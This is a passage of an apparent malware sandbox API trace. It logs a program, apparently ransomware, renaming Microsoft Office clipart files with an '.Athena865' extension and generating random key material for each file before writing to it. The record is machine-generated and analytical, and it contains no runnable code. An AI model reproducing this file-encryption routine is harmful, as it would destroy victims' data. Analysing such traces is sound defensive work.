lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.038] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.038] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2700) returned 1 [0123.038] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.039] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.039] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.042] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.043] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.043] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.043] lstrcpyW (in: lpString1=0x241e8ae, lpString2="ED00184_.WMF" | out: lpString1="ED00184_.WMF") returned="ED00184_.WMF" [0123.043] lstrlenW (lpString="ED00184_.WMF") returned 12 [0123.043] lstrlenW (lpString="Athena865") returned 9 [0123.043] lstrcmpiW (lpString1="0184_.WMF", lpString2="Athena865") returned -1 [0123.043] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF.Athena865") returned 73 [0123.043] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.045] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6958) returned 1 [0123.045] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.045] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.045] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.047] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.048] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.048] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.049] lstrcpyW (in: lpString1=0x241e8ae, lpString2="EN00006_.WMF" | out: lpString1="EN00006_.WMF") returned="EN00006_.WMF" [0123.049] lstrlenW (lpString="EN00006_.WMF") returned 12 [0123.049] lstrlenW (lpString="Athena865") returned 9 [0123.049] lstrcmpiW (lpString1="0006_.WMF", lpString2="Athena865") returned -1 [0123.049] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF.Athena865") returned 73 [0123.049] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.050] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=13936) returned 1 [0123.051] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.051] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.051] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.056] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.056] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.056] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.057] lstrcpyW (in: lpString1=0x241e8ae, lpString2="EN00202_.WMF" | out: lpString1="EN00202_.WMF") returned="EN00202_.WMF" [0123.057] lstrlenW (lpString="EN00202_.WMF") returned 12 [0123.057] lstrlenW (lpString="Athena865") returned 9 [0123.057] lstrcmpiW (lpString1="0202_.WMF", lpString2="Athena865") returned -1 [0123.057] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF.Athena865") returned 73 [0123.057] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00202_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00202_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00202_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.059] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6938) returned 1 [0123.059] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.059] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.059] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.062] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.063] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.063] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.064] lstrcpyW (in: lpString1=0x241e8ae, lpString2="EN00222_.WMF" | out: lpString1="EN00222_.WMF") returned="EN00222_.WMF" [0123.064] lstrlenW (lpString="EN00222_.WMF") returned 12 [0123.064] lstrlenW (lpString="Athena865") returned 9 [0123.064] lstrcmpiW (lpString1="0222_.WMF", lpString2="Athena865") returned -1 [0123.064] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF.Athena865") returned 73 [0123.064] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00222_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00222_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00222_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.065] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=12356) returned 1 [0123.065] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.066] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.066] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.068] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.069] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.069] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.069] lstrcpyW (in: lpString1=0x241e8ae, lpString2="EN00242_.WMF" | out: lpString1="EN00242_.WMF") returned="EN00242_.WMF" [0123.069] lstrlenW (lpString="EN00242_.WMF") returned 12 [0123.069] lstrlenW (lpString="Athena865") returned 9 [0123.069] lstrcmpiW (lpString1="0242_.WMF", lpString2="Athena865") returned -1 [0123.069] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF.Athena865") returned 73 [0123.069] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00242_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00242_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00242_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.071] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6780) returned 1 [0123.071] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.072] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.072] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.074] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.075] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.075] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.075] lstrcpyW (in: lpString1=0x241e8ae, lpString2="EN00319_.WMF" | out: lpString1="EN00319_.WMF") returned="EN00319_.WMF" [0123.075] lstrlenW (lpString="EN00319_.WMF") returned 12 [0123.075] lstrlenW (lpString="Athena865") returned 9 [0123.075] lstrcmpiW (lpString1="0319_.WMF", lpString2="Athena865") returned -1 [0123.075] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF.Athena865") returned 73 [0123.075] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.077] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2280) returned 1 [0123.077] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.077] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.077] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.080] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.081] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.081] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.081] lstrcpyW (in: lpString1=0x241e8ae, lpString2="EN00320_.WMF" | out: lpString1="EN00320_.WMF") returned="EN00320_.WMF" [0123.081] lstrlenW (lpString="EN00320_.WMF") returned 12 [0123.081] lstrlenW (lpString="Athena865") returned 9 [0123.082] lstrcmpiW (lpString1="0320_.WMF", lpString2="Athena865") returned -1 [0123.082] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF.Athena865") returned 73 [0123.082] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.083] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=736) returned 1 [0123.083] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.083] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.084] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.086] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.087] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.087] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.087] lstrcpyW (in: lpString1=0x241e8ae, lpString2="EN00397_.WMF" | out: lpString1="EN00397_.WMF") returned="EN00397_.WMF" [0123.087] lstrlenW (lpString="EN00397_.WMF") returned 12 [0123.087] lstrlenW (lpString="Athena865") returned 9 [0123.087] lstrcmpiW (lpString1="0397_.WMF", lpString2="Athena865") returned -1 [0123.087] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF.Athena865") returned 73 [0123.087] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00397_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00397_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.088] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=17308) returned 1 [0123.088] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.089] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.089] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.092] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.093] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.093] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.094] lstrcpyW (in: lpString1=0x241e8ae, lpString2="EN00902_.WMF" | out: lpString1="EN00902_.WMF") returned="EN00902_.WMF" [0123.094] lstrlenW (lpString="EN00902_.WMF") returned 12 [0123.094] lstrlenW (lpString="Athena865") returned 9 [0123.094] lstrcmpiW (lpString1="0902_.WMF", lpString2="Athena865") returned -1 [0123.094] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF.Athena865") returned 73 [0123.094] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00902_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00902_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.095] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7944) returned 1 [0123.095] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.096] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.096] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.099] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.099] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.099] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.100] lstrcpyW (in: lpString1=0x241e8ae, lpString2="EXPLR_01.MID" | out: lpString1="EXPLR_01.MID") returned="EXPLR_01.MID" [0123.100] lstrlenW (lpString="EXPLR_01.MID") returned 12 [0123.100] lstrlenW (lpString="Athena865") returned 9 [0123.100] lstrcmpiW (lpString1="LR_01.MID", lpString2="Athena865") returned 1 [0123.100] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID.Athena865") returned 73 [0123.100] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid.athena865"), dwFlags=0x1) returned 1 [0123.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.102] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=10562) returned 1 [0123.102] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.103] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.103] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.108] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.108] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.109] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.109] lstrcpyW (in: lpString1=0x241e8ae, lpString2="FALL_01.MID" | out: lpString1="FALL_01.MID") returned="FALL_01.MID" [0123.109] lstrlenW (lpString="FALL_01.MID") returned 11 [0123.109] lstrlenW (lpString="Athena865") returned 9 [0123.109] lstrcmpiW (lpString1="LL_01.MID", lpString2="Athena865") returned 1 [0123.109] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID.Athena865") returned 72 [0123.109] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid.athena865"), dwFlags=0x1) returned 1 [0123.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.110] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4846) returned 1 [0123.110] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.111] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.111] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.121] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.122] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.122] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.122] lstrcpyW (in: lpString1=0x241e8ae, lpString2="FD00074_.WMF" | out: lpString1="FD00074_.WMF") returned="FD00074_.WMF" [0123.122] lstrlenW (lpString="FD00074_.WMF") returned 12 [0123.122] lstrlenW (lpString="Athena865") returned 9 [0123.122] lstrcmpiW (lpString1="0074_.WMF", lpString2="Athena865") returned -1 [0123.122] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF.Athena865") returned 73 [0123.122] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00074_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00074_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00074_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.124] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=17850) returned 1 [0123.124] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, 